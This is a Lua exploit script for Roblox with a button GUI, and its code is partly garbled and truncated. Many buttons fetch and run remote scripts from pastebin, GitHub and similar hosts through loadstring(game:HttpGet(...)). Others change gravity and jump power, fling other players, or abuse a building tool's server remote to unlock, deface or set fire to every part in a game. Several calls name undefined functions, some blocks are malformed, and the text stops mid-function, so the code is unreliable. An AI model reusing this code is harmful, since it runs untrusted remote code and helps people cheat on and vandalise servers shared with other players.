local function YPYE_fake_script() -- button_21.LocalScript
      local script = Instance.new('LocalScript', button_21)
      button.MouseButton1Down:connect(function()
            local Chicken = game.Players.LocalPlayer.Name
            game.Workspace[Chicken].Torso["Left Shoulder"].C0 = CFrame.new(-1.5,
0.5, 0) * CFrame.fromEulerAnglesXYZ(0,math.pi/2,0) *
CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0) *
CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
            game.Workspace[Chicken].Torso["Left Shoulder"].C1 = CFrame.new(0, 0.5,
0)
            game.Workspace[Chicken].Torso["Right Shoulder"].C0 = CFrame.new(1.5,
0.5, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0) *
CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0) *
CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
            game.Workspace[Chicken].Torso["Right Shoulder"].C1 = CFrame.new(0, 0.5,
0)
      end)
end
coroutine.wrap(YPYE_fake_script)()
local function PXYT_fake_script() -- button_22.LocalScript
      local script = Instance.new('LocalScript', button_22)
      button.MouseButton1Down:connect(function()
            game.Workspace.Gravity =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sg.Text
      end)
end
coroutine.wrap(PXYT_fake_script)()
local function NZXZI_fake_script() -- button_23.LocalScript
      local script = Instance.new('LocalScript', button_23)
      button.MouseButton1Down:connect(function()
            game.Players.LocalPlayer.Character.Humanoid.JumpPower =
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.swsjh.Text
      end)
end
coroutine.wrap(NZXZI_fake_script)()
local function GNAVNL_fake_script() -- button_24.LocalScript
      local script = Instance.new('LocalScript', button_24)
      button.MouseButton1Down:connect(function()
            for X = 1, math.huge, 0.2 do
                  wait()
                  game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0   =
CFrame.new(math.sin(X) / 1,1.5,0)
                  game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1   =
CFrame.new(0,0,0)
            end
            for X = 1, math.huge, 0.1 do
                  wait()
                  game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0   =
CFrame.new(0,1.5,0) * CFrame.fromAxisAngle(Vector3.new(0,1,0), X)
                  game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1   =
CFrame.new(0,0,0)
            end
            for _,c in pairs(game.Players:GetChildren()) do
                  c.Character.Head.Mesh.Scale = Vector3.new(100, 100, 100)
            end
            for _,c in pairs(game.Players:GetChildren()) do
                  c.Character.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
            end
      end)
end
coroutine.wrap(GNAVNL_fake_script)()
local function QILPEVY_fake_script() -- button_25.LocalScript
      local script = Instance.new('LocalScript', button_25)
     button.MouseButton1Down:connect(function()
           loadstring(game:GetObjects("rbxassetid://16442596192")[1].Source)()
     end)
end
coroutine.wrap(ORTLQH_fake_script)()
local function UYGWJL_fake_script() -- button_27.LocalScript
      local script = Instance.new('LocalScript', button_27)
button.MouseButton1Down:connect(function()
      loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/
8fc8c93e4c272559cc5629a1ee56a262/raw/0fe33a2585ec108eecf0c5f37a64626adb65a94c/
Project%2520Soviet"))()
      end)
end
coroutine.wrap(UYGWJL_fake_script)()
local function JOMSSFB_fake_script() -- button_28.LocalScript
      local script = Instance.new('LocalScript', button_28)
      button.MouseButton1Down:connect(function()
            loadstring(game:HttpGet("https://raw.githubusercontent.com/JxcExploit/
Harkedv2-script/main/Leaked-v2hardked"))()
      end)
end
coroutine.wrap(JOMSSFB_fake_script)()
local function SWJK_fake_script() -- button_29.LocalScript
      local script = Instance.new('LocalScript', button_29)
     button.MouseButton1Down:connect(function()
           local remoteamount = 0
button.MouseButton1Down:connect(function()
      loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/
FE/main/Comet"))();
      end)
end
coroutine.wrap(KOGOB_fake_script)()
local function WMSMR_fake_script() -- button_31.LocalScript
      local script = Instance.new('LocalScript', button_31)
button.MouseButton1Down:connect(function()
      loadstring(game:HttpGet("https://github.com/exxtremestuffs/SimpleSpySource/
raw/master/SimpleSpy.lua"))()
      end)
end
coroutine.wrap(WMSMR_fake_script)()
local function HRJMKB_fake_script() -- button_32.LocalScript
      local script = Instance.new('LocalScript', button_32)
     button.MouseButton1Down:connect(function()
           loadstring(game:HttpGet('https://pastefy.app/edMe7Bwx/raw'))()
     end)
end
coroutine.wrap(HRJMKB_fake_script)()
local function TEIB_fake_script() -- button_33.LocalScript
      local script = Instance.new('LocalScript', button_33)
     button.MouseButton1Down:connect(function()
           loadstring(game:HttpGet("https://pastebin.com/raw/vr2YVyF6"))();
     end)
end
coroutine.wrap(TEIB_fake_script)()
local function UFBQWJB_fake_script() -- button_34.LocalScript
      local script = Instance.new('LocalScript', button_34)
     button.MouseButton1Down:connect(function()
           loadstring(game:HttpGet("https://pastebin.com/raw/P1ayeCf5"))()
     end)
end
coroutine.wrap(UFBQWJB_fake_script)()
local function MHMTS_fake_script() -- button_35.LocalScript
      local script = Instance.new('LocalScript', button_35)
button.MouseButton1Down:connect(function()
      loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/
FE/main/punch",true))()
      end)
end
coroutine.wrap(MHMTS_fake_script)()
local function WMZOEHI_fake_script() -- button_36.LocalScript
      local script = Instance.new('LocalScript', button_36)
button.MouseButton1Down:connect(function()
     loadstring(game:HttpGet("https://cdn.wearedevs.net/scripts/BTools.txt"))()
     end)
end
coroutine.wrap(WMZOEHI_fake_script)()
local function DPJY_fake_script() -- button_37.LocalScript
      local script = Instance.new('LocalScript', button_37)
     button.MouseButton1Down:connect(function()
           loadstring(game:GetObjects("rbxassetid://6695644299")[1].Source)()
     end)
end
coroutine.wrap(DPJY_fake_script)()
local function TVIACA_fake_script() -- button_38.LocalScript
      local script = Instance.new('LocalScript', button_38)
     button.MouseButton1Down:connect(function()
           loadstring(game:HttpGet("https://pastebin.com/raw/r7pVFVA7"))();
     end)
end
coroutine.wrap(TVIACA_fake_script)()
local function KNPJVCM_fake_script() -- button_39.LocalScript
      local script = Instance.new('LocalScript', button_39)
     button.MouseButton1Down:connect(function()
           gui:Destroy()
     end)
end
coroutine.wrap(KNPJVCM_fake_script)()
local function XVWGNC_fake_script() -- button_40.LocalScript
      local script = Instance.new('LocalScript', button_40)
     local button = script.Parent
      button.MouseButton1Down:connect(function()
            -- thanks to moon for this dex / best dex out there
            loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/
backup/main/dex.lua"))()
      end)
end
coroutine.wrap(XVWGNC_fake_script)()
local function MGFUJR_fake_script() -- button_41.LocalScript
      local script = Instance.new('LocalScript', button_41)
      button.MouseButton1Down:connect(function()
            local plr=game.Players.LocalPlayer
            local tool=Instance.new("Tool",plr.Backpack)
            tool.GripPos=Vector3.new(0.1,-1,0)
            tool.Name="Sword"
            local k=Instance.new("Part",tool)
            k.Name="Handle"
            k.Size=Vector3.new(0.4,4,0.4)
            local l=Instance.new("Animation",tool)
            l.AnimationId="rbxassetid://218504594"
            local m=plr.Character.Humanoid:LoadAnimation(l)
            db=true
            da=false
            tool.Equipped:connect(function()
                  tool.Activated:connect(function()
                        if db==true then
                              db=false
                              m:Play()
                              wait()
                              da=true
                              db=true
                              wait(0.5)
                              da=false
                        end
                  end)
            end)
            k.Touched:connect(function(n)
                  if da==true then
                        local o=n.Parent.Humanoid
                        if o~=nil then
                              local p=game.Players:FindFirstChild(n.Parent.Name)
                              for j=1,10 do
                                    if p.Name~="FunnyVideo15"then
                                          if
game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
                                                hiddenfling = true
                                          else
                                                hiddenfling = true
                                                detection = Instance.new("Decal")
                                                detection.Name =
"juisdfj0i32i0eidsuf0iok"
                                                detection.Parent =
game:GetService("ReplicatedStorage")
                                                local function fling()
                                                      local hrp, c, vel, movel =
nil, nil, nil, 0.1
                                                       while true do
     game:GetService("RunService").Heartbeat:Wait()
                                                             if hiddenfling then
                                                                   local lp =
game.Players.LocalPlayer
                                                                   while hiddenfling
and not (c and c.Parent and hrp and hrp.Parent) do
     game:GetService("RunService").Heartbeat:Wait()
                                                                         c =
lp.Character
                                                                       hrp =
c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or
c:FindFirstChild("UpperTorso")
                                                                 end
                                                                 if hiddenfling
then
                                                                       vel =
hrp.Velocity
                                                                       hrp.Velocity
= vel * 10000 + Vector3.new(0, 10000, 0)
     game:GetService("RunService").RenderStepped:Wait()
                                                                         if c and
c.Parent and hrp and hrp.Parent then
     hrp.Velocity = vel
                                                                         end
     game:GetService("RunService").Stepped:Wait()
                                                                         if c and
c.Parent and hrp and hrp.Parent then
                                                 fling()
                                           end
                                     end
                               end
                         end
                   end
            end)
     end)
end
coroutine.wrap(MGFUJR_fake_script)()
local function VLDBBW_fake_script() -- button_42.LocalScript
      local script = Instance.new('LocalScript', button_42)
     button.MouseButton1Down:connect(function()
      local music = Instance.new("Sound")
     music.Name "Music"
     music.Parent = game.Workspace
     music.Volume = 10
     music.SoundId = input
     music.Looped = true
     music:Play()
     end)
end
coroutine.wrap(OJGT_fake_script)()
local function WKPRGIV_fake_script() -- button_44.LocalScript
      local script = Instance.new('LocalScript', button_44)
      button.MouseButton1Down:connect(function()
            basics =
{Color3.new(255/255,0/255,0/255),Color3.new(255/255,85/255,0/255),Color3.new(218/25
5,218/255,0/255),Color3.new(0/255,190/255,0/255),Color3.new(0/255,85/255,255/255),C
olor3.new(0/255,0/255,127/255),Color3.new(170/255,0/255,255/255),Color3.new(0/255,2
04/255,204/255),Color3.new(255/255,85/255,127/255),Color3.new(0/255,0/255,0/255),Co
lor3.new(255/255,255/255,255/255)}
            game.Lighting.FogStart = 25
            game.Lighting.FogEnd = 300
            while true do
                  wait(0.5)
                  game.Lighting.FogColor = basics[math.random(1,#basics)]
            end
      end)
end
coroutine.wrap(WKPRGIV_fake_script)()
local function UTRYB_fake_script() -- button_45.LocalScript
      local script = Instance.new('LocalScript', button_45)
     button.MouseButton1Down:connect(function()
           local s = Instance.new("Sky")
           s.Name = "Sky"
           s.Parent = game.Lighting
           local skyboxID = 15475953475
           s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
           s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
           s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
           s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
           s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
           s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
           game.Lighting.TimeOfDay = 12
            decalID = 14569362147
            function exPro(root)
                  for _, v in pairs(root:GetChildren()) do
                        if v:IsA("Decal") and v.Texture ~=
"http://www.roblox.com/asset/?id="..decalID then
                              v.Parent = nil
                        elseif v:IsA("BasePart") then
                              v.Material = "Plastic"
                              v.Transparency = 0
                              local One = Instance.new("Decal", v)
                              local Two = Instance.new("Decal", v)
                              local Three = Instance.new("Decal", v)
                              local Four = Instance.new("Decal", v)
                              local Five = Instance.new("Decal", v)
                              local Six = Instance.new("Decal", v)
                              One.Texture = "http://www.roblox.com/asset/?
id="..decalID
                              Two.Texture = "http://www.roblox.com/asset/?
id="..decalID
                              Three.Texture = "http://www.roblox.com/asset/?
id="..decalID
                              Four.Texture = "http://www.roblox.com/asset/?
id="..decalID
                              Five.Texture = "http://www.roblox.com/asset/?
id="..decalID
                              Six.Texture = "http://www.roblox.com/asset/?
id="..decalID
                              One.Face = "Front"
                              Two.Face = "Back"
                              Three.Face = "Right"
                              Four.Face = "Left"
                              Five.Face = "Top"
                              Six.Face = "Bottom"
                        end
                        exPro(v)
                  end
            end
            function asdf(root)
                  for _, v in pairs(root:GetChildren()) do
                        asdf(v)
                  end
            end
            exPro(game.Workspace)
            asdf(game.Workspace)
           local playerLeaderstats = {}
           for i, v in pairs(game.Players:GetChildren()) do
                 table.insert(playerLeaderstats, v)
           end
           for i, v in pairs(playerLeaderstats) do
                 pe = Instance.new("ParticleEmitter",v.Character.Torso)
                 pe.Texture = "http://www.roblox.com/asset/?id=14569362147"
                 pe.VelocitySpread = 50
                 se = Instance.new("ParticleEmitter",v.Character.Torso)
                 se.Texture = "http://www.roblox.com/asset/?id=14569362147"
                 se.VelocitySpread = 50
                 fe = Instance.new("ParticleEmitter",v.Character.Torso)
                 fe.Texture = "http://www.roblox.com/asset/?id=14569362147"
                 fe.VelocitySpread = 50
           end
      end)
end
coroutine.wrap(UTRYB_fake_script)()
local function AGPKAV_fake_script() -- button_46.LocalScript
      local script = Instance.new('LocalScript', button_46)
     button.MouseButton1Down:connect(function()
           local playerLeaderstats = {}
           for i, v in pairs(game.Players:GetChildren()) do
                 table.insert(playerLeaderstats, v)
           end
           for i, v in pairs(playerLeaderstats) do
                 pe = Instance.new("ParticleEmitter",v.Character.Torso)
                 pe.Texture = "http://www.roblox.com/asset/?id=8979672"
                 pe.VelocitySpread = 50
                 se = Instance.new("ParticleEmitter",v.Character.Torso)
                 se.Texture = "http://www.roblox.com/asset/?id=176067516"
                 se.VelocitySpread = 50
                 fe = Instance.new("ParticleEmitter",v.Character.Torso)
                 fe.Texture = "http://www.roblox.com/asset/?id=179012130"
                 fe.VelocitySpread = 50
           end
     end)
end
coroutine.wrap(AGPKAV_fake_script)()
local function VBWFAA_fake_script() -- button_47.LocalScript
      local script = Instance.new('LocalScript', button_47)
     button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
      if v.Name == "SyncAPI" then
            tool = v.Parent
      end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
      if v.Name == "SyncAPI" then
            tool = v.Parent
      end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
      remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
      local args = {
            [1] = "SyncCollision",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                  }
            }
      }
      _(args)
end
function SetAnchor(boolean,part)
      local args = {
            [1] = "SyncAnchor",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                  }
            }
      }
      _(args)
end
function CreatePart(cf,parent)
      local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = parent
      }
      _(args)
end
function DestroyPart(part)
      local args = {
            [1] = "Remove",
            [2] = {
                  [1] = part
            }
      }
      _(args)
end
function MovePart(part,cf)
      local args = {
            [1] = "SyncMove",
            [2] = {
                  [1] = {
                        ["Part"] =   part,
                        ["CFrame"]   = cf
                  }
            }
      }
      _(args)
end
function Resize(part,size,cf)
      local args = {
            [1] = "SyncResize",
            [2] = {
                  [1] = {
                        ["Part"] =   part,
                        ["CFrame"]   = cf,
                        ["Size"] =   size
                  }
            }
      }
      _(args)
end
function AddMesh(part)
      local args = {
            [1] = "CreateMeshes",
            [2] = {
                  [1] = {
                        ["Part"] =   part
                  }
            }
      }
      _(args)
end
function SetMesh(part,meshid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                  }
            }
      }
      _(args)
end
function SetTexture(part, texid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                  }
           }
     }
     _(args)
end
function SetName(part, stringg)
      local args = {
            [1] = "SetName",
            [2] = {
                  [1] = part
            },
            [3] = stringg
      }
      _(args)
end
function MeshResize(part,size)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                  }
            }
      }
      _(args)
end
function Weld(part1, part2,lead)
      local args = {
            [1] = "CreateWelds",
            [2] = {
                  [1] = part1,
                  [2] = part2
            },
            [3] = lead
      }
      _(args)
end
function SetLocked(part,boolean)
      local args = {
            [1] = "SetLocked",
            [2] = {
                  [1] = part
            },
            [3] = boolean
      }
      _(args)
end
function SetTrans(part,int)
      local args = {
            [1] = "SyncMaterial",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                  }
            }
      }
      _(args)
end
function CreateSpotlight(part)
      local args = {
            [1] = "CreateLights",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                  }
            }
      }
      _(args)
end
function SyncLighting(part,brightness)
      local args = {
            [1] = "SyncLighting",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                  }
            }
      }
      _(args)
end
function Color(part,color)
      local args = {
            [1] = "SyncColor",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Color"] = color --[[Color3]],
                        ["UnionColoring"] = false
                  }
            }
      }
      _(args)
end
function SpawnDecal(part,side)
      local args = {
            [1] = "CreateTextures",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Face"] = side,
                        ["TextureType"] = "Decal"
                  }
            }
      }
      _(args)
end
function AddDecal(part,asset,side)
      local args = {
            [1] = "SyncTexture",
            [2] = {
                  [1] = {
                                    ["Part"] = part,
                                    ["Face"] = side,
                                    ["TextureType"] = "Decal",
                                    ["Texture"] = "rbxassetid://".. asset
                             }
                       }
                 }
                 _(args)
           end
            function Sky(id)
                  e = char.HumanoidRootPart.CFrame.x
                  f = char.HumanoidRootPart.CFrame.y
                  g = char.HumanoidRootPart.CFrame.z
                  CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g))
+ Vector3.new(0,6,0),workspace)
                  for i,v in game.Workspace:GetDescendants() do
                        if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and
v.CFrame.z == math.floor(g) then
                              --spawn(function()
                              SetName(v,"Sky")
                              AddMesh(v)
                              --end)
                              --spawn(function()
                              SetMesh(v,"8006679977")
                              SetTexture(v,id)
                              --end)
                              MeshResize(v,Vector3.new(50,50,50))
                              SetLocked(v,true)
                        end
                  end
            end
Sky(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text)
      end)
end
coroutine.wrap(VBWFAA_fake_script)()
local function RXFTK_fake_script() -- button_48.LocalScript
      local script = Instance.new('LocalScript', button_48)
     button.MouseButton1Down:connect(function()
           --rgrg
           local player = game.Players.LocalPlayer
           local char = player.Character
           local tool
           for i,v in player:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           for i,v in game.ReplicatedStorage:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           --craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
      remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
      local args = {
            [1] = "SyncCollision",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                  }
            }
      }
      _(args)
end
function SetAnchor(boolean,part)
      local args = {
            [1] = "SyncAnchor",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                  }
            }
      }
      _(args)
end
function CreatePart(cf,parent)
      local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = parent
      }
      _(args)
end
function DestroyPart(part)
      local args = {
            [1] = "Remove",
            [2] = {
                  [1] = part
            }
      }
      _(args)
end
function MovePart(part,cf)
      local args = {
            [1] = "SyncMove",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                  }
            }
      }
      _(args)
end
function Resize(part,size,cf)
      local args = {
            [1] = "SyncResize",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                  }
            }
      }
      _(args)
end
function AddMesh(part)
      local args = {
            [1] = "CreateMeshes",
            [2] = {
                  [1] = {
                        ["Part"] = part
                  }
            }
      }
      _(args)
end
function SetMesh(part,meshid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                  }
            }
      }
      _(args)
end
function SetTexture(part, texid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                  }
            }
      }
      _(args)
end
function SetName(part, stringg)
      local args = {
            [1] = "SetName",
            [2] = {
                  [1] = part
            },
            [3] = stringg
      }
      _(args)
end
function MeshResize(part,size)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                  }
            }
      }
      _(args)
end
function Weld(part1, part2,lead)
      local args = {
            [1] = "CreateWelds",
            [2] = {
                  [1] = part1,
                  [2] = part2
            },
            [3] = lead
      }
      _(args)
end
function SetLocked(part,boolean)
      local args = {
            [1] = "SetLocked",
            [2] = {
                  [1] = part
            },
            [3] = boolean
      }
      _(args)
end
function SetTrans(part,int)
      local args = {
            [1] = "SyncMaterial",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                  }
            }
      }
      _(args)
end
function CreateSpotlight(part)
      local args = {
            [1] = "CreateLights",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                  }
            }
      }
      _(args)
end
function SyncLighting(part,brightness)
     local args = {
           [1] = "SyncLighting",
           [2] = {
                 [1] = {
                       ["Part"] = part,
                       ["LightType"] = "SpotLight",
                       ["Brightness"] = brightness
                 }
           }
     }
     _(args)
end
function Color(part,color)
      local args = {
            [1] = "SyncColor",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Color"] = color --[[Color3]],
                        ["UnionColoring"] = false
                  }
            }
      }
      _(args)
end
function SpawnDecal(part,side)
      local args = {
            [1] = "CreateTextures",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Face"] = side,
                        ["TextureType"] = "Decal"
                  }
            }
      }
      _(args)
end
function AddDecal(part,asset,side)
      local args = {
            [1] = "SyncTexture",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Face"] = side,
                        ["TextureType"] = "Decal",
                        ["Texture"] = "rbxassetid://".. asset
                  }
            }
      }
      _(args)
end
function spam(id)
      for i,v in game.workspace:GetDescendants() do
            if v:IsA("BasePart") then
                  spawn(function()
                        SetLocked(v,false)
                                    SpawnDecal(v,Enum.NormalId.Front)
                                    AddDecal(v,id,Enum.NormalId.Front)
                                    SpawnDecal(v,Enum.NormalId.Back)
                                    AddDecal(v,id,Enum.NormalId.Back)
                                    SpawnDecal(v,Enum.NormalId.Right)
                                    AddDecal(v,id,Enum.NormalId.Right)
                                    SpawnDecal(v,Enum.NormalId.Left)
                                    AddDecal(v,id,Enum.NormalId.Left)
                                    SpawnDecal(v,Enum.NormalId.Bottom)
                                    AddDecal(v,id,Enum.NormalId.Bottom)
                                    SpawnDecal(v,Enum.NormalId.Top)
                                    AddDecal(v,id,Enum.NormalId.Top)
                             end)
                       end
                 end
           end
     spam(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text)
     end)
end
coroutine.wrap(RXFTK_fake_script)()
local function VANYF_fake_script() -- button_49.LocalScript
      local script = Instance.new('LocalScript', button_49)
     button.MouseButton1Down:connect(function()
           local player = game.Players.LocalPlayer
           local char = player.Character
           local tool
           for i,v in player:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           for i,v in game.ReplicatedStorage:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           --craaa
           remote = tool.SyncAPI.ServerEndpoint
           function _(args)
                 remote:InvokeServer(unpack(args))
           end
           function SetCollision(part,boolean)
                 local args = {
                       [1] = "SyncCollision",
                       [2] = {
                             [1] = {
                                   ["Part"] = part,
                                   ["CanCollide"] = boolean
                             }
                       }
     }
     _(args)
end
function SetAnchor(boolean,part)
      local args = {
            [1] = "SyncAnchor",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                  }
            }
      }
      _(args)
end
function CreatePart(cf,parent)
      local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = parent
      }
      _(args)
end
function DestroyPart(part)
      local args = {
            [1] = "Remove",
            [2] = {
                  [1] = part
            }
      }
      _(args)
end
function MovePart(part,cf)
      local args = {
            [1] = "SyncMove",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                  }
            }
      }
      _(args)
end
function Resize(part,size,cf)
      local args = {
            [1] = "SyncResize",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                  }
            }
      }
      _(args)
end
function AddMesh(part)
      local args = {
            [1] = "CreateMeshes",
            [2] = {
                  [1] = {
                        ["Part"] = part
                  }
            }
      }
      _(args)
end
function SetMesh(part,meshid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                  }
            }
      }
      _(args)
end
function SetTexture(part, texid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                  }
            }
      }
      _(args)
end
function SetName(part, stringg)
      local args = {
            [1] = "SetName",
            [2] = {
                  [1] = workspace.Part
            },
            [3] = stringg
      }
      _(args)
end
function MeshResize(part,size)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                  }
            }
      }
      _(args)
end
function Weld(part1, part2,lead)
     local args = {
           [1] = "CreateWelds",
           [2] = {
                 [1] = part1,
                 [2] = part2
           },
           [3] = lead
     }
     _(args)
end
function SetLocked(part,boolean)
      local args = {
            [1] = "SetLocked",
            [2] = {
                  [1] = part
            },
            [3] = boolean
      }
      _(args)
end
function SetTrans(part,int)
      local args = {
            [1] = "SyncMaterial",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                  }
            }
      }
      _(args)
end
function CreateSpotlight(part)
      local args = {
            [1] = "CreateLights",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                  }
            }
      }
      _(args)
end
function SyncLighting(part,brightness)
      local args = {
            [1] = "SyncLighting",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                  }
            }
      }
      _(args)
end
function AddFire(part)
                 local args = {
                       [1] = "CreateDecorations",
                       [2] = {
                             [1] = {
                                   ["Part"] = part,
                                   ["DecorationType"] = "Fire"
                             }
                       }
                 }
                 _(args)
           end
           function FireParts()
                 for i,v in game.Workspace:GetDescendants() do
                       spawn(function()
                             SetLocked(v,false)
                             AddFire(v)
                       end)
                 end
           end
           FireParts()
      end)
end
coroutine.wrap(VANYF_fake_script)()
local function HZJA_fake_script() -- button_50.LocalScript
      local script = Instance.new('LocalScript', button_50)
     button.MouseButton1Down:connect(function()
           --rgrg
           local player = game.Players.LocalPlayer
           local char = player.Character
           local tool
           for i,v in player:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           for i,v in game.ReplicatedStorage:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           --craaa
           remote = tool.SyncAPI.ServerEndpoint
           function _(args)
                 remote:InvokeServer(unpack(args))
           end
           function SetCollision(part,boolean)
                 local args = {
                       [1] = "SyncCollision",
                       [2] = {
                             [1] = {
                                   ["Part"] = part,
                                   ["CanCollide"] = boolean
                             }
                       }
                 }
      _(args)
end
function SetAnchor(boolean,part)
      local args = {
            [1] = "SyncAnchor",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                  }
            }
      }
      _(args)
end
function CreatePart(cf,parent)
      local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = parent
      }
      _(args)
end
function DestroyPart(part)
      local args = {
            [1] = "Remove",
            [2] = {
                  [1] = part
            }
      }
      _(args)
end
function MovePart(part,cf)
      local args = {
            [1] = "SyncMove",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                  }
            }
      }
      _(args)
end
function Resize(part,size,cf)
      local args = {
            [1] = "SyncResize",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                  }
            }
      }
      _(args)
end
function AddMesh(part)
      local args = {
           [1] = "CreateMeshes",
           [2] = {
                 [1] = {
                       ["Part"] = part
                 }
           }
      }
      _(args)
end
function SetMesh(part,meshid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                  }
            }
      }
      _(args)
end
function SetTexture(part, texid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                  }
            }
      }
      _(args)
end
function SetName(part, stringg)
      local args = {
            [1] = "SetName",
            [2] = {
                  [1] = workspace.Part
            },
            [3] = stringg
      }
      _(args)
end
function MeshResize(part,size)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                  }
            }
      }
      _(args)
end
function Weld(part1, part2,lead)
      local args = {
           [1] = "CreateWelds",
           [2] = {
                 [1] = part1,
                 [2] = part2
           },
           [3] = lead
     }
     _(args)
end
function SetLocked(part,boolean)
      local args = {
            [1] = "SetLocked",
            [2] = {
                  [1] = part
            },
            [3] = boolean
      }
      _(args)
end
function SetTrans(part,int)
